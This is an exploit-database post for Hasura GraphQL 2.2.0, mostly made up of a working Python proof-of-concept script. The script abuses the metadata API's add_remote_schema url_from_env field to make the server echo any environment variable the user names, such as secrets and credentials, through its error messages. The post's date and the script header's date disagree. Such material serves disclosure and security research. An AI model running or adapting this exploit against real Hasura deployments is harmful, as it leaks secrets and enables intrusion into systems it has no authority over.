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Hasura GraphQL 2.2.0 Information Disclosure

Hasura GraphQL 2.2.0 Information Disclosure
Posted Mar 7, 2022
Authored by Dolev Farhi

Hasura GraphQL version 2.2.0 suffers from an information disclosure vulnerability.

tags | exploit, info disclosure
SHA-256 | d4c6e0949dc24e69b126808b4183027a77f8f87d802e545bb38e5a82e2127d9c

Hasura GraphQL 2.2.0 Information Disclosure

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# Exploit Title: Hasura GraphQL 2.2.0 - Information Disclosure
# Software: Hasura GraphQL Community
# Software Link: https://github.com/hasura/graphql-engine
# Version: 2.2.0
# Exploit Author: Dolev Farhi
# Date: 5/05/2022
# Tested on: Ubuntu

import requests

SERVER_ADDR = 'x.x.x.x'

url = 'http://{}/v1/metadata'.format(SERVER_ADDR)

print('Hasura GraphQL Community 2.2.0 - Arbitrary Root Environment Variables Read')

while True:
env_var = input('Type environment variable key to leak.\n> ')
if not env_var:
continue

payload = {
"type": "bulk",
"source": "",
"args": [
{
"type": "add_remote_schema",
"args": {
"name": "ttt",
"definition": {
"timeout_seconds": 60,
"forward_client_headers": False,
"headers": [],
"url_from_env": env_var
},
"comment": ""
}
}
],
"resource_version": 2
}
r = requests.post(url, json=payload)
try:
print(r.json()['error'].split('not a valid URI:')[1])
except IndexError:
print('Could not parse out VAR, dumping error as is')
print(r.json().get('error', 'N/A'))


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